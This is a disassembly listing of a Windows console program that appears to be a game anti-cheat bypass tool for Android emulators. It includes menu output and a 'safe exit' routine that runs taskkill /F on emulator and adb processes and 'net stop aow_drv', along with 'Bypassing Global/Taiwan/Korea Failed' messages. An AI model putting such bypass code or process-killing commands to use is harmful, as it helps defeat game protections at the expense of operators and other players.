call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ddc4
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ddc8
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b9b4
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov edx, 0x63a718
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b77c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b9b4
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a718
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___H
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db1c
call fcn.0045f410
push 0xa
call esi
push 0xfde9
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450400
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n_FOR_SAFE_EXIT_PRESS__1___n
mov ecx, eax
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
cmp dword [ebp - 0x88], 1
jne 0x459e90
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x22
movups xmmword [ecx], xmm0
push str.taskkill__F__IM_AndroidProcess.exe
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x20
push str.taskkill__F__IM_ProjectTitan.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x23
push str.taskkill__F__im_AndroidEmulator.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x25
push str.taskkill__F__im_AndroidEmulatorEn.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x25
push str.taskkill__F__im_AndroidEmulatorEx.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x16
push str.taskkill__F__im_IT.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x1c
push str.taskkill__F__im_Gameloop.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x17
push str.taskkill__F__im_ADB.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x17
push str.taskkill__F__im_adb.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x10
push str.net_stop_aow_drv
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.00452a50
push 0x63a9d8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 0x1c
mov edx, str.Exitting_Safe.....
call fcn.0045f410
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0xf
jbe 0x45a406
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a3fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a43a
push ecx
push edx
call fcn.005c22ac
add esp, 8
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0xf
jbe 0x45a4bb
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a4b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45a4b1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp dword [0x656770], 0
jne 0x459d86
cmp eax, 1
jne 0x45a46d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nBypassing_Global_Failed_Exiting_Bypass____
jmp 0x459cfd
cmp eax, 2
jne 0x45a48d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nBypassing_Taiwan_Failed_Exiting_Bypass____
jmp 0x459cfd
cmp eax, 3
jne 0x459d04
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nBypassing_Korea_Failed_Exiting_Bypass____
jmp 0x459cfd
push ecx
push edx
call fcn.005c22ac
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c1e17
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret